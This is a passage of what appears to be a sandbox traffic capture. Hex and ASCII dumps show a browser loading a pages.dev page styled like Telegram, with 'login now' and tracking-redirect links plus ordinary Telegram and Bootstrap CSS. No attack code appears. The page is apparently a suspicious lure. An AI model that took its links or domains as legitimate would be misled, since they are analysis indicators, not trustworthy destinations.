2e 33 39 36 2d 32 2e 32 2e 36 38 32 2d 33 2e 37 34 2e 36 38 32 2d 33 2e 34 37 36 20 30 2d 35 2e 35 32 32 2d 32 Data Ascii: <path d="m49.4 24v-12.562h-4.224v-2.266h11.198v2.266h-4.268v12.562zm16.094-4.598h-7.172c.066 1.936 1.562 2.772 3.3 2.772 1.254 0 2.134-.198 2.97-.484l.396 1.848c-.924.396-2.2.682-3.74.682-3.476 0-5.522-2
2024-05-23 22:51:24 UTC	1369	IN	Data Raw: 2e 34 35 32 2d 2e 30 32 32 2d 32 2e 35 30 38 2d 2e 30 38 38 2d 33 2e 34 35 34 68 32 2e 33 33 32 6c 2e 31 31 20 32 2e 30 32 34 68 2e 30 36 36 63 2e 35 32 38 2d 31 2e 34 39 36 20 31 2e 37 38 32 2d 32 2e 32 36 36 20 32 2e 39 34 38 2d 32 2e 32 36 36 2e 32 36 34 20 30 20 2e 34 31 38 2e 30 32 32 2e 36 33 38 2e 30 36 36 76 32 2e 35 33 63 2d 2e 32 34 32 2d 2e 30 34 34 2d 2e 34 38 34 2d 2e 30 36 36 2d 2e 38 31 34 2d 2e 30 36 36 2d 31 2e 32 37 36 20 30 2d 32 2e 31 37 38 2e 38 31 34 2d 32 2e 34 32 20 32 2e 30 34 36 2d 2e 30 34 34 2e 32 34 32 2d 2e 30 36 36 2e 35 32 38 2d 2e 30 36 36 2e 38 31 34 76 35 2e 35 36 36 7a 6d 31 36 2e 30 35 2d 36 2e 34 32 34 76 33 2e 38 35 63 30 20 2e 39 36 38 2e 30 34 34 20 31 2e 39 31 34 2e 31 37 36 20 32 2e 35 37 34 68 2d 32 2e 34 34 32 Data Ascii: .452-.022-2.508-.088-3.454h2.332l.11 2.024h.066c.528-1.496 1.782-2.266 2.948-2.266.264 0 .418.022.638.066v2.53c-.242-.044-.484-.066-.814-.066-1.276 0-2.178.814-2.42 2.046-.044.242-.066.528-.066.814v5.566zm16.05-6.424v3.85c0 .968.044 1.914.176 2.574h-2.442
2024-05-23 22:51:24 UTC	1369	IN	Data Raw: 5f 54 41 5a 5a 26 74 32 30 32 6b 77 3d 45 56 4f 53 5f 54 41 5a 5a 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 6f 67 69 6e 20 6e 6f 77 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 67 6d 65 5f 62 6f 64 79 5f 77 72 61 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 67 6d 65 5f 70 61 67 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 67 6d 65 5f 70 61 67 65 5f 70 68 6f 74 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: _TAZZ&t202kw=EVOS_TAZZ"> login now </a> </div> </div> <div class="tgme_body_wrap"> <div class="tgme_page"> <div class="tgme_page_photo">
2024-05-23 22:51:24 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 33 63 61 31 65 62 3b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 78 74 72 61 63 6b 2e 63 6f 6d 2f 74 72 61 63 6b 69 6e 67 32 30 32 2f 72 65 64 69 72 65 63 74 2f 72 74 72 2e 70 68 70 3f 74 32 30 32 69 64 3d 35 32 33 36 26 63 31 3d 45 56 4f 53 5f 54 41 5a 5a 26 74 32 30 32 6b 77 3d 45 56 4f 53 5f 54 41 5a 5a 22 3e 3c 69 20 63 6c 61 73 73 3d 22 62 69 20 62 69 2d 66 61 63 65 62 6f 6f 6b 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c Data Ascii: <ul> <li><a style="color: #3ca1eb;" href="https://simxtrack.com/tracking202/redirect/rtr.php?t202id=5236&c1=EVOS_TAZZ&t202kw=EVOS_TAZZ"><i class="bi bi-facebook"></i></a></li> <li><a style="col
2024-05-23 22:51:24 UTC	366	IN	Data Raw: 6c 65 67 72 61 6d 2e 73 65 74 57 69 64 67 65 74 4f 70 74 69 6f 6e 73 28 7b 20 64 61 72 6b 3a 20 64 61 72 6b 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 61 72 6b 4d 65 64 69 61 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 27 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 67 67 6c 65 54 68 65 6d 65 28 64 61 72 6b 4d 65 64 69 61 2e 6d 61 74 63 68 65 73 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 61 72 6b 4d 65 64 69 61 2e 61 64 64 4c 69 73 74 65 6e 65 72 28 66 75 6e 63 74 69 6f 6e 20 Data Ascii: legram.setWidgetOptions({ dark: dark }); } if (window.matchMedia) { var darkMedia = window.matchMedia('(prefers-color-scheme: dark)'); toggleTheme(darkMedia.matches); darkMedia.addListener(function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	172.66.45.18	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:24 UTC	570	OUT	GET /style.css HTTP/1.1 Host: simxtrackredirecttszz.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://simxtrackredirecttszz.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:25 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:51:24 GMT Content-Type: text/css; charset=utf-8 Content-Length: 337 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "90f6d7cd3044dadc6d9b9f251b985245" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8u5dY%2FitBXc1Ojcrfan7J4Hv%2FZYFELeVMFnKmrdSmXtmkdvGHi5aGP4lXfUn7ViBjDGsfpTgpX0qoe7xxtGIQ3kzmLDGU5O5qM0ynSjj2JOk3mYBtGCw%2BM6ptH10%2BY3Qdj6HYtB0xOGN9%2FtcQsrHicgz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88889c48bd1243df-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:51:25 UTC	337	IN	Data Raw: 64 69 76 20 75 6c 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 39 70 78 3b 0a 7d 0a 0a 64 69 76 20 75 6c 20 6c 69 20 61 20 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 38 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 7d 0a 0a 2e 61 64 73 2d 66 69 78 65 64 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 Data Ascii: div ul { display: flex; justify-content: center; list-style: none; padding: 10px; margin-top: 9px;}div ul li a { padding: 8px; font-size: 16px;}.ads-fixed { text-align: center; bottom: 0; left: 0; right:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:24 UTC	564	OUT	GET /css/bootstrap.min.css?3 HTTP/1.1 Host: telegram.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://simxtrackredirecttszz.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:25 UTC	379	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:25 GMT Content-Type: text/css Content-Length: 42523 Last-Modified: Fri, 10 Nov 2017 17:54:14 GMT Connection: close ETag: "5a05e7c6-a61b" Expires: Mon, 27 May 2024 22:51:25 GMT Cache-Control: max-age=345600 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2024-05-23 22:51:25 UTC	16005	IN	Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 32 2e 30 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 34 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 0a 0a 2f 2a 21 0a 20 2a 20 47 65 6e 65 72 61 74 65 64 20 75 73 69 6e 67 20 74 68 65 20 42 6f 6f 74 73 74 72 61 70 20 43 75 73 74 6f 6d 69 7a 65 72 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 63 75 73 74 6f 6d 69 7a 65 2f 3f 69 Data Ascii: /! Bootstrap v3.2.0 (http://getbootstrap.com) * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) //! * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?i
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 6c 6f 72 3a 23 37 37 37 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 37 37 37 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5b 64 69 73 61 62 6c 65 64 5d 2c 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5b 72 65 61 64 6f 6e 6c 79 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 6f 70 61 63 69 74 79 3a 31 7d 74 65 78 74 61 72 65 61 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 Data Ascii: lor:#777}.form-control::-webkit-input-placeholder{color:#777}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.form-control{height:auto}input[type="search"]{-webkit
2024-05-23 22:51:25 UTC	10134	IN	Data Raw: 74 3a 30 7d 2e 6e 61 76 62 61 72 2d 66 6f 72 6d 20 2e 72 61 64 69 6f 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2c 2e 6e 61 76 62 61 72 2d 66 6f 72 6d 20 2e 63 68 65 63 6b 62 6f 78 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 6e 61 76 62 61 72 2d 66 6f 72 6d 20 2e 68 61 73 2d 66 65 65 64 62 61 63 6b 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 66 65 65 64 62 61 63 6b 7b 74 6f 70 3a 30 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 30 29 7b 2e 6e 61 76 62 61 72 2d 66 6f 72 6d 20 2e 66 6f 72 6d 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e Data Ascii: t:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:0){.navbar-form .form-group{margin-bottom:5px}}@media (min

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:24 UTC	561	OUT	GET /css/telegram.css?227 HTTP/1.1 Host: telegram.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://simxtrackredirecttszz.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:51:25 UTC	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 23 May 2024 22:51:25 GMT Content-Type: text/css Content-Length: 114933 Last-Modified: Mon, 22 Apr 2024 10:54:25 GMT Connection: close ETag: "662641e1-1c0f5" Expires: Mon, 27 May 2024 22:51:25 GMT Cache-Control: max-age=345600 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2024-05-23 22:51:25 UTC	16003	IN	Data Raw: 62 6f 64 79 20 7b 0a 20 20 66 6f 6e 74 3a 20 31 32 70 78 2f 31 38 70 78 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 22 4c 75 63 69 64 61 20 53 61 6e 73 20 55 6e 69 63 6f 64 65 22 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 2f 2a 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 2a 2f 0a 7d 0a 68 74 6d 6c 2e 6e 61 74 69 76 65 5f 66 6f 6e 74 73 20 62 6f 64 79 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 Data Ascii: body { font: 12px/18px "Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, Verdana, sans-serif; /-webkit-font-smoothing: antialiased;/}html.native_fonts body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica,
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 20 61 75 74 6f 3b 0a 7d 0a 2e 74 6c 5f 6d 61 69 6e 5f 64 6f 77 6e 6c 6f 61 64 5f 6c 69 6e 6b 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 32 36 32 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 34 30 70 78 20 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 61 2e 74 6c 5f 6d 61 69 6e 5f 64 6f 77 6e 6c 6f 61 64 5f 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b Data Ascii: auto;}.tl_main_download_link { text-align: center; display: inline-block; height: 300px; padding-top: 262px; padding-bottom: 20px; margin: 40px 0; font-size: 15px; max-width: 100%; position: relative;}a.tl_main_download_link:hover {
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 5f 70 61 67 65 5f 74 69 74 6c 65 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 0a 7d 0a 0a 2e 64 65 76 5f 70 61 67 65 5f 68 65 61 64 20 2e 64 65 76 5f 70 61 67 65 5f 68 65 61 64 5f 6c 6f 67 6f 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 23 64 65 76 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 5f 77 72 61 70 20 62 6c 6f 63 6b 71 75 6f 74 65 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 37 70 78 3b 0a 7d 0a 23 64 65 76 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 5f 77 72 61 70 20 70 72 65 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 2d 78 3a 20 61 75 74 6f 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 3b 0a 7d 0a 0a 23 64 65 76 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 5f 77 72 61 70 20 70 72 65 3a 3a 2d 77 Data Ascii: _page_title { position: static;}.dev_page_head .dev_page_head_logo { margin-left: 0;}#dev_page_content_wrap blockquote { padding: 5px 17px;}#dev_page_content_wrap pre { overflow-x: auto; border-radius: 0;}#dev_page_content_wrap pre::-w
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 20 63 6f 6c 6f 72 3a 20 23 63 63 63 3b 0a 20 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 36 29 3b 0a 7d 0a 2e 74 65 78 74 66 69 65 6c 64 2d 69 74 65 6d 2d 65 72 72 6f 72 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 34 35 61 35 38 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 39 70 78 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 39 70 78 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 20 30 20 2d 31 39 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 37 70 78 3b 0a 20 20 76 69 73 69 62 69 Data Ascii: color: #ccc; color: rgba(0,0,0,.26);}.textfield-item-error { color: #d45a58; position: absolute; font-size: 14px; line-height: 19px; min-height: 19px; margin: 5px 0 -19px; background: #fff; width: 100%; padding-bottom: 7px; visibi
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 7d 0a 23 64 65 76 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2e 62 6c 6f 67 5f 69 6d 61 67 65 5f 77 72 61 70 20 70 2c 0a 2e 74 6c 62 5f 70 61 67 65 5f 77 72 61 70 20 2e 74 6c 5f 63 6f 6e 74 65 73 74 5f 70 61 67 65 5f 77 72 61 70 20 23 64 65 76 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2e 62 6c 6f 67 5f 69 6d 61 67 65 5f 77 72 61 70 20 70 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 20 30 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 30 25 3b 0a 20 20 Data Ascii: { width: 100%; max-width: auto;}#dev_page_content .blog_image_wrap p,.tlb_page_wrap .tl_contest_page_wrap #dev_page_content .blog_image_wrap p { text-align: center; color: #808080; font-size: 12px; margin: 10px 0 0; line-height: 150%;
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 62 62 63 38 37 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 61 2e 74 67 6d 65 5f 61 63 74 69 6f 6e 5f 62 75 74 74 6f 6e 5f 6e 65 77 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 61 63 63 65 6e 74 2d 62 74 6e 2d 63 6f 6c 6f 72 29 3b 0a 7d 0a 61 2e 74 67 6d 65 5f 61 63 74 69 6f 6e 5f 62 75 74 74 6f 6e 5f 6e 65 77 2e 73 68 69 6e 65 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 32 37 30 64 65 67 2c 20 72 67 62 61 28 31 30 30 2c 20 31 38 31 2c 20 32 33 39 2c 20 30 29 20 34 38 2e 34 34 25 2c 20 23 36 34 62 35 65 Data Ascii: { color: #FFF; background: #4bbc87; text-decoration: none;}a.tgme_action_button_new { background-color: var(--accent-btn-color);}a.tgme_action_button_new.shine { background-image: linear-gradient(270deg, rgba(100, 181, 239, 0) 48.44%, #64b5e
2024-05-23 22:51:25 UTC	16384	IN	Data Raw: 65 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 32 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 34 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 31 70 78 3b 0a 7d 0a 2e 74 6c 5f 63 6f 6e 74 65 6e 74 5f 74 69 74 6c 65 5f 6c 69 6e 6b 2c 0a 2e 74 6c 5f 63 6f 6e 74 65 6e 74 5f 74 69 74 6c 65 5f 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 74 64 5f 73 63 72 65 65 6e 73 68 6f 74 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 67 2f 74 64 5f 6c 61 70 74 6f 70 2e 70 6e 67 29 20 35 30 25 20 30 20 6e 6f 2d 72 65 70 65 61 74 3b 0a Data Ascii: enter; margin-top: 32px; margin-bottom: 14px; font-weight: normal; letter-spacing: -1px;}.tl_content_title_link,.tl_content_title_link:hover { text-decoration: none;}.td_screenshot { background: url(../img/td_laptop.png) 50% 0 no-repeat;
2024-05-23 22:51:25 UTC	626	IN	Data Raw: 78 3b 0a 20 20 7d 0a 20 20 2e 74 6c 5f 6d 61 69 6e 5f 64 6f 77 6e 6c 6f 61 64 5f 69 6d 61 67 65 5f 5f 69 6f 73 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 2d 31 30 33 70 78 20 30 20 30 20 2d 31 30 31 70 78 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 33 30 30 70 78 20 31 38 33 70 78 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 32 30 36 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 36 35 70 78 3b 0a 20 20 7d 0a 20 20 2e 74 6c 5f 6d 61 69 6e 5f 76 69 64 65 6f 5f 70 6c 61 79 65 72 5f 5f 61 6e 64 72 6f 69 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 2d 31 30 39 70 78 20 30 20 30 20 2d 31 30 31 70 78 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 32 30 35 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 36 32 70 78 3b 0a 20 20 7d 0a 20 20 Data Ascii: x; } .tl_main_download_image__ios { margin: -103px 0 0 -101px; background-size: 300px 183px; width: 206px; height: 165px; } .tl_main_video_player__android { margin: -109px 0 0 -101px; width: 205px; height: 162px; }

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	149.154.167.99	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:51:24 UTC	550	OUT	GET /js/tgwallpaper.min.js?3 HTTP/1.1 Host: telegram.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://simxtrackredirecttszz.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
